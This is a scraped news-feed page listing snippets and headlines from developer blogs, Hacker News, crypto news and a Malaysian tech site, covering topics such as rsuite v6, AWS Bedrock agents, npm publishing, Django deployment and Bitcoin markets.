    React Suite (rsuite) v6 is now available. This release focuses on modernizing the foundation: the styling system has been rebuilt, new layout primitives were added, and responsiveness plus the overall developer workflow received targeted improvements. The goal is to keep the library stable while making it easier to adapt to contemporary UI requirements. The most fundamental change in v6 is the migration from Less to SCSS with CSS variables as the primary theming interface. Updating theme values is now as simple as overriding variables at runtime—no rebuilds or tooling tweaks required. Consult the CSS Variables guide for the full variable list, and try the Palette tool to fine-tune brand colors visually. Logical properties: margin-inline-start etc. replace physical properties for native RT…  ( 8 min )
    🎓 Capstone Project Completed! 🚀
    AI-Powered Customer Master Data Management (MDM) Hey everyone! 👋 I tackled a real-world challenge: duplicate and inconsistent customer data across multiple systems. My solution is an end-to-end AI-powered Customer Master Data Management (MDM) platform that: 🔹 Detects duplicate and partial-match records using ML embeddings ✨ Key Features: API data ingestion Scoring and confidence interval computation using Drools rule engine Embedding-based similarity matching using Sentence Transformers k-NN semantic search with OpenSearch Data Stewardship View 🛠️ Tech Stack: replit.com + Java Spring Boot (Backend) OpenSearch for search + k-NN Sentence Transformers (all-MiniLM-L6-v2) for embeddings lovable.dev (Front End) Drools Rule Engine 🎯 Outcome: This project gave me hands-on experience solving a real enterprise data challenge, and I am proud of the results! 😄 Happy to share demo / architecture if anyone is interested! 🚀 IITPatnaCapstone #GenAI #AIProjects #Capstone #LearningJourney #IITPatna #GenerativeAI  ( 6 min )
    The Secret Life of Go
    Chapter 1: The Archives Below The rain arrived without warning, as rain in Manhattan so often does—one moment the October sky was merely gray and brooding, the next it was releasing sheets of water that sent pedestrians scrambling for awnings and doorways. Ethan, clutching a laptop bag that was definitely not waterproof, ducked into the first open door he found. The Whitmore Branch of the New York Public Library occupied a narrow Beaux-Arts building on a quiet street in lower Manhattan, wedged between a Korean grocery and a law office. Ethan had walked past it a hundred times during his four years at NYU and had never once gone inside. He stood now in the small foyer, water dripping from his hair onto the marble floor, and took in the unexpected grandeur: coffered ceilings painted in fad…  ( 14 min )
    Publish the repo-context-packager
    Introduction After weeks of development, testing, and CI setup, it was time to share this tool with the world. The Repository Context Packager had proven useful locally, but making it installable via npm would let others use it without cloning the repo. Well, this is not my first npm release, but this blog documents my journey from a local CLI tool to a published npm package—the challenges, solutions, and lessons learned along the way. Chose npm as the package registry (the standard for Node.js/TypeScript projects) Published as scoped package: @tajudeen/repo-context-packager@1.0.3 Configured package.json with bin field for CLI installation, files field for clean publishing, and postbuild script for shebang injection Resolved package name conflict by using scoped package naming Updated …  ( 9 min )
    **Importante**: La prevención del lavado de dinero y la fina
    Importante: La prevención del lavado de dinero y la financiación del terrorismo es fundamental para la estabilidad financiera y la seguridad nacional. Sin embargo, existen errores comunes en la implementación de sistemas de prevención que pueden comprometer la eficacia de estas regulaciones. Error común: Reportes tardíos de Operaciones con Recursos de Procedencia Ilícita (ORPI). Consecuencia: La falta de detección oportuna de transacciones sospechosas puede permitir que el dinero ilícito circule por el sistema financiero, violando la Ley Federal de Prevención e Identificación de Operaciones con Recursos de Procedencia Ilícita (LFPIORPI). Propuesta de corrección: Implementar un sistema de detección automatizado de ORPI que integre tecnologías de Inteligencia Artificial (IA) y Aprendizaje Automático (ML) para análisis en tiempo real de transacciones y alertas personalizadas para los responsables de cumplimiento. Tecnología innovadora: TarantulaHawk.ai, una plataforma de IA SaaS especializada en Prevención del Lavado de Dinero (PLD), ofrece soluciones avanzadas para la detección y prevención de ORPI, basadas en algoritmos de ML y entrenamiento con datos de casos reales. La reforma de la LFPIORPI de 2025 incluye cambios importantes en la regulación de PLD, enfatizando la necesidad de implementar tecnologías de IA y ML para mejorar la eficacia y la eficiencia en la prevención del lavado de dinero y la financiación del terrorismo. Es fundamental recordar que la implementación efectiva de sistemas de PLD requiere no solo la tecnología adecuada, sino también la capacitación y la conciencia de los responsables de cumplimiento y las instituciones financieras. Por lo tanto, es crucial adoptar tecnologías de IA y ML de manera responsable y ética, como la plataforma TarantulaHawk.ai, para mejorar la prevención de ORPI y contribuir a la estabilidad financiera y la seguridad nacional. Publicado automáticamente  ( 7 min )
    Myth: AI powers Netflix's ability to curate a perfect list o
    Myth: AI powers Netflix's ability to curate a perfect list of recommended shows and movies that you actually want to watch. Reality: While AI does play a significant role in content recommendation, it's not as straightforward as matching individual viewer preferences with content. In reality, Netflix uses a combination of collaborative filtering, content-based filtering, and knowledge-based systems to deliver personalized recommendations. Collaborative filtering analyzes viewing habits of similar users to suggest content, content-based filtering focuses on attributes of the content itself, such as genres and directors, and knowledge-based systems incorporate domain knowledge about genres, directors, and other metadata to make informed decisions. What's more, human curation plays a crucial role in evaluating and refining AI-driven recommendations, incorporating factors like cultural context and social relevance. This hybrid approach ensures that AI recommendations are both data-driven and context-aware, making them more accurate and engaging for users. Publicado automáticamente  ( 6 min )
    API Basics: Learning the Fun Side of APIs!
    Hey there, fellow tech explorers! 🚀 Ever wondered what an API is and why it's the coolest kid on the block? Well, buckle up, because we’re about to dive into the world of APIs with a sprinkle of humor and a dash of wit! What is an API? In tech terms, an API (Application Programming Interface) is like that waiter. It’s a set of rules that allows different software applications to communicate with each other. Think of it as the bridge that connects your app to the vast world of data out there! Why Should You Care? Start Small: Begin with simple APIs. Check out public APIs that offer free data. service@ip2world.com. And if you’re curious to learn more, don’t forget to visit our website: http://www.ip2world.com/?utm-source=yl&utm-keyword=?zq. So, what are you waiting for? Dive into the world of APIs and unleash your inner tech wizard! 🧙‍♂️✨ Happy coding!  ( 7 min )
    Recent research emphasizes that AI model training and deploy
    Recent research emphasizes that AI model training and deployment can significantly impact carbon footprints due to the massive computational resources required. A study published in the Journal of Machine Learning Research highlights that the majority of AI's carbon emissions arise from the energy consumed by data centers housing these resources. Key finding: Practical impact: Publicado automáticamente  ( 6 min )
    As AI-driven diagnosis and treatment plans become increasing
    As AI-driven diagnosis and treatment plans become increasingly prevalent in healthcare, a crucial question arises: to what extent can AI be considered 'co-author' rather than just 'co-reader' of medical literature and clinical decision-making processes? Should AI's capacity for processing vast amounts of data and identifying patterns be granted equal, or near-equal, weight to human clinicians' expertise when developing or modifying treatment plans, or would this compromise the nuances of human clinical judgment and patient-specific care? Publicado automáticamente  ( 6 min )
    Amazon Bedrock Agentcore & System Design
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    Mi Agente se Rebeló: Intentando Crear un Bedrock Agent con S3 (y el Famoso Error '[retrieved information]'
    TL;DR En este lab vas a construir un Bedrock Agent totalmente funcional que puede: Leer tus documentos en S3 Extraer información Ejecutar funciones Responder preguntas de forma estructurada Razonar paso a paso usando Amazon Nova Micro Todo 100% desde la consola, sin Studio ni código manual. Aprenderas a: Tiempo estimado: 20–30 min Bedrock Agents, S3, IAM Decidí crear este lab porque quiero entender cómo funcionan los agentes de IA en AWS de forma simple, práctica y explicable. Quiero poder guiar a otros, enseñar conceptos de GenAI sin complejidad innecesaria y construir demos útiles para mi portfolio técnico. Campo Valor Categoría CB AI/ML Servicios AWS Amazon Bedrock Agents, Amazon S3 Requisitos previos Cuenta AWS, S3 + Bedrock habilitados, región us-east-1 Costos estimados B…  ( 13 min )
    I Built a Bedrock Agent for Learning… And It Definitely Took That Mission Seriously
    TL;DR In this lab you’re going to build a fully functional Bedrock Agent that can: Read your documents in S3 Extract information Execute functions Answer questions in a structured way Reason step by step using Amazon Nova Micro All 100% from the console, no Studio and no manual code. You will learn to: Create a bucket, upload PDFs, create an Agent, add Actions, connect S3, test with real questions, and validate responses using grounding. Estimated time: 20–30 min I decided to create this lab because I want to understand how AI agents in AWS actually work in a simple, practical, and explainable way. I want to guide others, teach GenAI concepts without unnecessary complexity, and build useful demos for my technical portfolio. Field Value CB Category AI/ML AWS Services Amazon Bedrock…  ( 12 min )
    Build Claude Desktop Extensions in Minutes with QuickMCP.NET
    Hey developers! Remember the last time you tried to integrate a REST API with Claude Desktop? Yeah, me too. It involved reading through MCP docs, writing YAML configs, figuring out authentication, and probably a few frustrated sighs. What if I told you there's a better way? A way that involves one command and lets AI do the heavy lifting? Let me introduce you to QuickMCP.NET - specifically its brand new Claude Desktop Extension Builder. Trust me, this is going to blow your mind. You've got a REST API. Maybe it's your company's internal API, maybe it's Stripe, GitHub, or that quirky microservice Bob built. You want Claude to interact with it. So you dive into the Model Context Protocol docs and realize you need to: Write an MCP server configuration Configure authentication (API keys, OAuth,…  ( 13 min )
    Introducing GistPad.com – A Secure Pastebin for Developers
    👋 Hey Dev.to, I’m new here! I just joined Dev.to and thought I’d introduce myself by sharing a project I’ve been building: GistPad.com. It’s basically a modern pastebin, but with a focus on privacy and usability. If you’ve ever needed to share a quick code snippet or a block of text, you know the pain of messy links, no syntax highlighting, or worrying about who can see it. GistPad.com tries to fix that. You can save snippets with syntax highlighting for tons of languages. Decide if your paste is public, unlisted, or private (with password protection or expiration timers). Every paste keeps a version history, so you can roll back if needed. Teams can use shared workspaces with tags, search, and audit logs. And if you’re into automation, there are raw links, embeds, APIs, and webhooks. Why I built it I’m a developer and security researcher, and I kept running into situations where I needed to share code securely without relying on outdated tools. GistPad.com grew out of that need — something simple, fast, and trustworthy. I’d love to hear what you think. Is it useful? What features would make it better? Feedback from communities like Dev.to is exactly what helps projects like this grow. 👉 You can check it out here: https://gistpad.com  ( 6 min )
    Service Mesh Explained: When You Actually Need Istio or Linkerd
    Introduction Service meshes have become one of the most talked-about technologies in cloud-native infrastructure. But amid the hype, a critical question often gets overlooked: Do you actually need one? A service mesh adds significant complexity to your infrastructure. For some organizations, it solves critical problems and pays for itself immediately. For others, it's unnecessary overhead that slows development and increases operational burden. In this comprehensive guide, we'll explore what service meshes are, when they're genuinely needed, and how to choose between the leading options: Istio and Linkerd. A service mesh is a dedicated infrastructure layer for handling service-to-service communication. It provides features like traffic management, security, and observability without requ…  ( 14 min )
    Continuous Contribution for Hiero SDK Python - Release 0.3
    For this release 0.3, I continued to work on the https://github.com/hiero-ledger/hiero-sdk-python repository. My initial goal was not just to solve an issue and open a pull request for Hacktoberfest, but also to continue working on real projects, thereby understanding professional workflows such as proper Git rebasing, writing clean commits, detailed pull requests, ensuring I follow contribution rules, and documenting changes. I worked on issue #829, which required adding a real example of how to use fee_schedule_key in token creation within the Hiero SDK. While this Software Development Kit supported the functionality, there was no documented usage example, and users reading the documentation could not see how to apply it in practice. My task involved: Creating a runnable example in toke…  ( 7 min )
    SvelteKit Surreal Database Authentication
    I created a login for Surreal Database and SvelteKit. The core server function can be reused in ANY TS SSR Framework! Create a new SvelteKit project with TS. npx sv create surreal-auth Install latest version of Surreal JS. I am not using alpha for this demo. npm i -D surrealdb Unfortunately, you must manually handle errors with try and catch. I am hoping to get this fixed with destructuring. Here I created some helper functions to remedy this and put all the database functions in one place. export async function surrealConnect({ namespace, database, url }: { namespace: string, database: string, url: string }) { const db = new Surreal(); try { await db.connect(url, { namespace, database }); } catch (e) { …  ( 11 min )
    Revolutionize AI Conversations: Monetzly's Impact on Developer Earnings
    Unlocking Monetization in AI Conversations: Meet Monetzly Traditional advertising has struggled to find its footing in the world of AI conversations. Users engage differently with AI applications than they do with standard web platforms, making conventional ads feel intrusive and disruptive. This begs the question: How can developers monetize their innovative AI solutions without sacrificing user experience? Enter Monetzly—the first platform that allows developers to both monetize their apps and earn from hosting relevant ads, creating a sustainable ecosystem for AI innovation. As AI applications multiply, many developers are grappling with viable monetization strategies. Subscriptions and paywalls can alienate users, while traditional ads often disrupt the flow of conversations. The res…  ( 7 min )
    Contributing to Threadbare
    For the second pull request I decided to look for another game project, one that was more mature than ShooterCarnival. This led me to stumble upon Threadbare, which was another collaborative open-source game, this time in a top down style. Since this game was further along, I hoped that I'd be able to implement something more advanced. The first thing I looked at was a UI bug where the movement hint was misaligned and not at the bottom of the viewport. After taking the time to explore the Threadbare repository and structure, I found where the main scene was and got around to seeing how the objects were laid on the scene. The fix turned out to be a really simple variable change, but it did take some time to get to know the project. Nonetheless, I wanted to do more than this. I actually not…  ( 8 min )
    Releasing "Repository-Context-Packager" to npm
    I recently prepared and published a small CLI tool called Repository-Context-Packager to the npm registry. I used npm as my package registry and the standard npm publish for releasing. The release process started with preparing my package.json file. I set the version to 1.0.0 and added a files array to control what gets published. I also added a bin field for the CLI command, set the engines requirement, and created a prepublishOnly script to run tests and linting automatically before publishing. Next, I created a .npmignore file to exclude test files, GitHub workflows, and dev documentation. This kept the package size small—only about 27 KB with 11 files. I used npm pack --dry-run to preview the package contents before actually publishing. Before publishing, I made sure all 76 tests pass…  ( 8 min )
    Tiny Games, Big Feelings
    Everything actually started when I played Loneliness. What a strange, quiet punch of a game. I wasn’t expecting much (it’s just little squares on a white screen) but somehow it managed to pull more emotions out of me in two minutes than most AAA games do in fifty hours. I walked away confused and weirdly emotional, like someone had whispered something important into my ear and then vanished. So of course I did the only reasonable thing: I became obsessed. I hunted down the creator, Jordan Magnuson, and ended up reading his book Game Poems, which didn’t help at all because now I’m even more obsessed. The whole idea that games can be short, intentional emotional gestures suddenly made sense. Then I stumbled upon URL Snake, this tiny absurd miracle living inside the URL bar, built entirely wi…  ( 7 min )
    Rick Beato: Ken Scott: Crafting the Sound of The Beatles, David Bowie and Mahavishnu Orchestra
    Ken Scott is the legendary engineer and producer whose career kicked off in the tape library at Abbey Road and soon landed him behind the console with The Beatles and the boundary-pushing Mahavishnu Orchestra. His early days cutting tape and tweaking levels laid the groundwork for some of the most groundbreaking sounds of the late ’60s and early ’70s. From there, Scott became a go-to producer, shaping David Bowie’s golden era—think Hunky Dory, Ziggy Stardust and Aladdin Sane—while also guiding Supertramp to their signature pop-rock sheen and capturing Elton John’s most enduring hits. Throughout the interview, he dishes on studio hijinks, the art of collaboration and what it really takes to turn a great song into an unforgettable record. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    CinemaSins is back with “Everything Wrong With The Wiz In 15 Minutes Or Less,” taking you down the yellow brick road to tally up every plot hole, pacing hiccup, and cinematic sin in the classic musical now that Wicked is back in theaters. Expect their signature fast-paced, sarcastic rundown and a verdict on whether The Wiz holds up—or falls flatter than you remember. Along the way they plug all the usual suspects: their main site, YouTube channels (@TVSins, @CommercialSins, @CinemaSinsPodcastNetwork), a sinful poll, Patreon support, and social hangouts on Discord, Reddit, Instagram, and TikTok. Plus a shout-out to the writers behind the sins—so subscribe, join the fun, and keep counting! Watch on YouTube  ( 6 min )
  • Open

    How to Spot a Counterfeit Lithium-Ion Battery
    Comments  ( 38 min )
    ZZ9000 multifunction card for Zorro Amigas
    Comments  ( 5 min )
    Windows ARM64 Internals: Deconstructing Pointer Authentication
    Comments  ( 13 min )
    WorldGen – Text to Immersive 3D Worlds
    Comments  ( 4 min )
    Pitch Multiplication (2017)
    Comments  ( 19 min )
    Kids who own smartphones before age 13 have worse mental health outcomes: Study
    Comments  ( 16 min )
    Show HN: I built a wizard to turn ideas into AI coding agent-ready specs
    Comments  ( 1 min )
    Cardiac implantable electronic devices' longevity: A novel modelling tool
    Comments  ( 31 min )
    Show HN: Build the habit of writing meaningful commit messages
    Comments  ( 9 min )
    Physicists drive antihydrogen breakthrough at CERN
    Comments  ( 10 min )
    A Reverse Engineer's Anatomy of the macOS Boot Chain and Security Architecture
    Comments  ( 102 min )
    Show HN: RealDeed – Tokenize Real Estate into Digital Assets
    Comments  ( 25 min )
    Terence Tao: At the Erdos problem website, AI assistance now becoming routine
    Comments  ( 1 min )
    The Go-Between
    Comments  ( 30 min )
    The Mozilla Cycle, Part III: Mozilla Dies in Ignominy
    Comments  ( 9 min )
    A Woman on a Mission to Photograph Every Species of Hummingbird
    Comments  ( 12 min )
    Data General History by Foster
    Comments  ( 51 min )
    After 15 years, I use Outlook as my build pipeline
    Comments  ( 9 min )
    Markdown Is Holding You Back
    Comments  ( 9 min )
    Show HN: Forty.News – Daily news, but on a 40-year delay
    Comments
    how to repurpose your old phone into a web server
    Comments  ( 3 min )
    Depot (YC W23) Is Hiring a Staff Infrastructure Engineer
    Comments  ( 6 min )
    China reaches energy milestone by "breeding" uranium from thorium
    Comments  ( 48 min )
    China Reaches Energy Milestone by "Breeding" Uranium from Thorium
    Comments  ( 3 min )
    I mathematically proved the best "Guess Who?" strategy [video]
    Comments
    Gwern's "Stem Humor" Directory
    Comments  ( 29 min )
    The realities of being a pop star
    Comments
    Java Decompiler
    Comments  ( 2 min )
    Show HN: I turned algae into a bio-altimeter and put it on a weather balloon
    Comments
    The privacy nightmare of browser fingerprinting
    Comments  ( 8 min )
    Advice for crime analyst to break into data science
    Comments  ( 14 min )
    The Uncertain Origins of Aspirin
    Comments  ( 27 min )
    In a U.S. First, New Mexico Opens Doors to Free Child Care for All
    Comments
    New Apple Study Shows LLMs Can Tell What You're Doing from Audio and Motion Data
    Comments  ( 11 min )
    Migrating to Bazel symbolic macros
    Comments  ( 14 min )
    The Pentagon Can't Trust GPS Anymore
    Comments
    'The French people want to save us': help pours in for glassmaker Duralex
    Comments  ( 17 min )
    A looming 'insect apocalypse' could endanger global food supplies
    Comments  ( 112 min )
    A million ways to die from a data race in Go
    Comments  ( 12 min )
    You can see a working Quantum Computer in IBM's London office
    Comments
    ADHD and Monotropism (2023)
    Comments  ( 10 min )
    Agent Design Is Still Hard
    Comments  ( 10 min )
    Why DETRs are replacing YOLOs for real-time object detection
    Comments  ( 8 min )
    My private information is worth $30
    Comments  ( 5 min )
    Jack Ma's family shifted wealth to UK after years-long 'disappearance'
    Comments  ( 14 min )
    Libpng 1.6.51: Four buffer overflow vulnerabilities fixed
    Comments  ( 2 min )
    The history of Indian science fiction
    Comments  ( 43 min )
    Roblox CEO Makes a Fool of Himself in Car-Crash Interview
    Comments  ( 17 min )
    The risk of round numbers and sharp thresholds in clinical practice
    Comments  ( 26 min )
    Serflings is a remake of The Settlers 1
    Comments  ( 3 min )
    Can you take an ox to Oxford?
    Comments  ( 3 min )
    Set theory with types
    Comments  ( 8 min )
    Moss: a Rust Linux-compatible kernel in 26,000 lines of code
    Comments  ( 12 min )
    Building a deep-space logistics startup
    Comments
    Superman copy found in mum's attic is most valuable comic ever at $9.12M
    Comments  ( 16 min )
    Boring Laser Eyes Simulator: Add laser beams to your eyes with your webcam
    Comments  ( 1 min )
    Openring-rs: a webring for static site generators written in Rust
    Comments  ( 7 min )
    Moss Survives 9 Months in Space Vacuum
    Comments  ( 15 min )
    Auditing JDBC Drivers at Scale with AI led to 85000 bounty
    Comments  ( 4 min )
    On the Death of Tech Idealism (and Rise of the Homeless) in Northern California
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    Infinibay LXD Container
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    Sharper MRI scans may be on horizon thanks to new physics-based model
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  • Open

    Bitcoin's Plunge Brings Strategy's Holdings to Near Breakeven, but Key Test Lies 18 Months Ahead
    Michael Saylor's company's balance sheet isn't at imminent risk of collapse, but further capital-raising efforts could surely be hindered unless conditions improve.  ( 36 min )
    XRP Drops With Market as Bitcoin Weakness Pulls Altcoins Into Oversold Territory
    Technical indicators suggest oversold conditions, but a break above $1.96 is needed to reverse the current downward trend.  ( 35 min )
    As DATs Face Pressure, Institutions Could Soon Look to BTCFi for Their Next Strategic Shift
    Institutional BTC investors may explore whether bitcoin-native yield, collateral and liquidity opportunities could offer the next stage of strategic deployment.  ( 37 min )
    Coinbase to Add 24/7 Trading for SHIB, Bitcoin Cash, Dogecoin, and Others
    The exchange plans to introduce U.S. perpetual-style futures for altcoins, settling on a five-year expiry.  ( 34 min )
    Hobbyist Miner Beats "1 in 180 Million Odds" to Win $265K Bitcoin Block Using Just One Old ASIC
    The winning miner controls just 0.0000007% of Bitcoin’s total network hashpower, which recently hit a record 855.7 exahashes per second.  ( 34 min )
    Is Strategy Stock the Preferred Hedge Against Crypto Losses? Tom Lee Thinks So
    Strategy’s 650,000 BTC holdings make it a ‘pressure valve’ for the broader market, said the Bitmine Immersion chairman.  ( 34 min )
    'Liquidity Crisis': $12B in DeFi Liquidity Sits Idle as 95% of Capital Goes Unused
    This inefficiency disproportionately affects retail liquidity providers, with 50% losing money due to impermanent loss, and net deficits exceeding $60 million, a new report finds.  ( 35 min )
    Coinbase 'Negative Premium' at Widest Level since Q1, Signalling Weak U.S. Demand
    Bitcoin is on track for its worst weekly performance since March, while U.S. demand indicators weaken as the Coinbase premium declines and spot ETFs reach a record volume.  ( 35 min )
    UK Crime Network, Worth Billions, Used Crypto to Funnel Drug Cash to Russia, NCA Says
    A billion-pound laundering network spread across the UK used cryptocurrency to move criminal proceeds and help Russian interests evade sanctions, according to the NCA.  ( 34 min )
    Aerodrome Finance Hit by 'Front-End' Attack, Users Urged to Avoid Main Domain
    The attack did not compromise the underlying smart contracts, but users are advised to avoid the compromised domains and instead use decentralized ENS domains.  ( 34 min )
    Turning ‘$11K to Half a Billion Dollars From Trading Memecoins’: Tales From a Crypto Wealth Manager
    The chief of crypto-focused multi-family office Digital Ascension Group talks about his VIP services for wealthy holders of digital assets.  ( 40 min )
    Bitcoin Treasuries to Move Beyond HODL to Yield, Hedging and Share Buybacks as NAV Discount Bites
    As the bitcoin treasury frenzy fades, the HODL pitch isn't completely dead, but firm should consider active reserve management to stand out, analysts say.  ( 36 min )
    Bitcoin Greed & Fear Index Shows Extreme Pessimism, Tactical Bottom May Be Near: Analyst
    Peak fear suggests a tactical low may be near.  ( 34 min )
  • Open

    Alfa Romeo Junior Hinted For Potential Local Debut
    Alfa Romeo Malaysia recently previewed the Giulia and Stelvio, marking the automaker’s return to the local market. During the preview, the company also revealed two other models that might be arriving in Malaysia, one of which is the Junior. The entry-level Alfa Romeo model was introduced back in April 2024 and was refined later this […] The post Alfa Romeo Junior Hinted For Potential Local Debut appeared first on Lowyat.NET.  ( 18 min )
    Vermintide 2, One Of Warhammer’s Best Co-op Games, Is Free Again On Steam Until 24 November
    Warhammer: Vermintide 2 is free to claim again on Steam right now, which is good news for those who’ve missed your chance to grab it back in 2022. The offer lasts until 24 November 2025, and once you redeem it, the game is yours permanently. If you’re new to the series, Vermintide 2 is the […] The post Vermintide 2, One Of Warhammer’s Best Co-op Games, Is Free Again On Steam Until 24 November appeared first on Lowyat.NET.  ( 34 min )
    Ubisoft’s €1.16 Billion Deal With Tencent Has Gone Through
    Ubisoft has confirmed that its €1.16 billion (~RM55.3 billion) deal with Chinese conglomerate Tencent has officially concluded. The French video game studio confirmed that the latter’s investments has been completed, giving it a 26.32% share in their co-founded outfit, Vantage Studio. “Today’s closing crystallises the value of our world-class IPs and marks a pivotal milestone […] The post Ubisoft’s €1.16 Billion Deal With Tencent Has Gone Through appeared first on Lowyat.NET.  ( 33 min )
    POCO Pad X1 And Pad M1 To Debut 26 November
    POCO is gearing up to launch the F8 series next week on 26 November. However, the smartphones are not the only devices to debut on that day, as the Xiaomi sub-brand will also be unveiling two tablets: the Pad X1 and the Pad M1. The company has started posting teasers on its official X account, […] The post POCO Pad X1 And Pad M1 To Debut 26 November appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Axelang - A Systems Programming Language with Concurrency as a First-Class feature
    Axelang is a new systems programming language designed around the following question: Why is concurrency an afterthought, a library, or a bolt-on runtime — as opposed to a language-level concept? Axe aims to resolve the issue in that rather than forcing developers to manually struggle with bolted on threads, locks, futures and external libraries, Axe makes concurrency part of the core language semantics, in that writing Axe forces you to think concurrently by default. Modern CPUs have not been about single-thread speed for a long time. Performance improvements are generally achieved by: Adding more cores Adding more threads Hiding I/O latency Overlapping compute with work But most languages still make concurrency: verbose error-prone tacked on after the fact C, C++, Java, and Rust rely hea…  ( 7 min )
    Day 18 Django learnings
    🚀 Django Learning Journey – Day 18 Another day, another chapter unlocked in my Django learning journey! Today, my curiosity took control. I asked myself: So instead of sticking with Django’s default sqlite3, I explored the world of cloud-based PostgreSQL databases — especially the ones offered by Render. 🧭 Exploring Cloud Databases I spent time reading articles, browsing StackOverflow, and watching YouTube tutorials on how Django connects to external databases. There are so many choices out there, but I decided not to overwhelm myself. ⚙️ Setting Up a Test Project To avoid breaking my main project, I created a test Django project and pretended this was a real production setup. Surprisingly, all the setup felt like a quick refresher — I almost remember all the commands now! whitenoise gunicorn Feels nice to see how the brain actually learns through repetition. 😄 🔑 Key Learnings of the Day To connect Django to an external PostgreSQL database, these two packages became essential: pip install psycopg2 I’m still learning what psycopg2 does under the hood, dj-database-url, on the other hand, was very clear: Using the parsed URL, I updated the settings.py file and fed the database link through Render’s environment variables. 📤 Pushed to Git → Deployed → Nervous Excitement After setting everything locally: Pushed to GitHub Deployed to Render And yes… that feeling of watching a project deploy still hits different! But then… ❌ “Bad Request (400)” — The Plot Twist Everything looked perfect… At this point, I had no clue what the issue was. ❓ Honest Questions to the Community 1️⃣ Should I continue learning with PostgreSQL or stick to Django’s default sqlite3 while learning? Would love to hear honest suggestions! ❤️ Signing Off Not a huge coding day, but a massive learning day. Deployment teaches you things that tutorials never do. And I’m excited to wake up tomorrow and fix that 400 error! If you’ve ever felt this same excitement (or confusion!) while connecting databases or deploying, tell me your story in the comments!  ( 7 min )
    The DoD Experiment: Trying to Fix ‘Done’ Before It Breaks Us
    This is the first in a series documenting an experiment: bringing clarity and explicit agreements to a distributed engineering team. Starting with something deceptively simple—the Definition of Done. I've been putting off writing about my work for years. The excuse was always the same: "I'll write once I've figured it out." Which is bullshit, obviously. You never figure it out. You just accumulate scar tissue and call it experience. The truth is simpler: I was waiting to have a success story worth telling. Because who wants to read "here's what I'm trying, it might crash"? Turns out, that's exactly what's interesting. The messy middle where you don't know if your hypothesis is brilliant or stupid. So here we go. I'm a frontend lead at a Swiss healthcare company, and I'm about to try someth…  ( 10 min )
    Coding Challenge Practice - Question 62
    The task is to write a function that finds the first duplicate given a string that might contain duplicates. The boilerplate code function firstDuplicate(str) { // your code here } Declare a variable to keep track of every character that is seen const seen = new Set() As soon as a character that has been seen previously is reached, that is the first duplicate. for (let char of str) { if (seen.has(char)) { return char; } seen.add(char); } If the end is reached and there is no repeat, return null. The final code function firstDuplicate(str) { // your code here const seen = new Set(); for(let char of str) { if(seen.has(char)) { return char; } seen.add(char) } return null; } That's all folks!  ( 6 min )
    Sets do not possess order
    Day 75 [November 21, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 74 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets Sets: sets do not possess order. Dictionaries .items() method is used to extract all key-value pairs as tuples, all itemized in a list: listOfItems = list(nameOfDict.items()) Summary: References: Halvorsen, H. (n.d.). Python. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.). Python for data science, AI & development [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai  ( 6 min )
    WisdomFlow — An AI-Powered Inspirational App Built with Uno Platform
    This is a submission for the AI Challenge for Cross-Platform Apps - WOW Factor <!-🌟 WOW Factor — What I Built Demo Below is the demo of my project for the AI Challenge for Cross-Platform Apps. 📱 Mobile version (Android & iOS) 🖥️ Windows desktop version 🌐 WebAssembly version 🎞️ Short demo video Create a polished app cover image 2048x1152 for "WisdomFlow — An AI-Powered Inspirational App Built with Uno Platform". Design: center a large smartphone mockup showing a clean quote card UI with a calm soft orange → coral gradient background. Quote card: rounded rectangle, white, subtle drop shadow, serif title text "Today: Courage" and small reflection line beneath. Above the phone, place the app title "WisdomFlow" in elegant serif, subtitle "AI-powered daily inspiration" in small sans. A…  ( 9 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins just dropped a cheeky, rapid-fire roast of the new KPop Demon Hunters movie, calling out every over-the-top moment and plot quirk—yet embracing the film’s sheer fun and spectacle as they tally up the sins. Hungry for more? They’ve got a loaded Linktree, Patreon page and immortal polls to fill out, plus Discord and Reddit hangouts. Don’t forget to follow the sin-squad (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian & Daniel) on Twitter and Instagram for your daily dose of movie nitpicks. Watch on YouTube  ( 6 min )
    Building Delta Health: Frontend Adventures in Empowering Rural Clinics
    I never thought I’d be building healthcare systems for rural clinics. And yet, here I am, late 2025, staring at lines of React code that feel like they might just save lives. I’m a frontend developer. My world usually revolves around components, state, and CSS. But this project “Delta State Health Information & Appointment Booking System” pulled me out of my comfortable bubble and threw me into a reality that’s messy, complex, and astonishingly human. Let me tell you what it’s like. Working on rural healthcare in Delta State isn’t like coding for a SaaS startup in Lagos or Abuja. Here, the constraints are real: intermittent internet, limited tech literacy, stretched clinic staff, and patients whose days are consumed by survival, not appointments. Our challenge as a team wasn’t just to buil…  ( 9 min )
    Inside ChatGPT: Deconstructing "Attention Is All You Need" (Part 1)
    To understand how modern Large Language Models (LLMs) like ChatGPT work, we must first understand the architecture that changed everything: the Transformer. Before we dive into the complex layers, we need to establish why we moved away from previous methods and how the model initially processes language. Before the "Attention Is All You Need" paper, the standard for processing sequential data (like text) was the Recurrent Neural Network (RNN).In an RNN, data is processed sequentially. We give the network an initial state (State 0) along with an input x1 to produce an output y1 and a hidden state. This hidden state is passed forward to the next step, allowing the network to "remember" previous inputs. While intuitive, RNNs suffer from severe limitations, specifically slow computation for l…  ( 9 min )
    AWS community day Workshop: Building Your First DevOps Blue/Green Pipeline with ECS
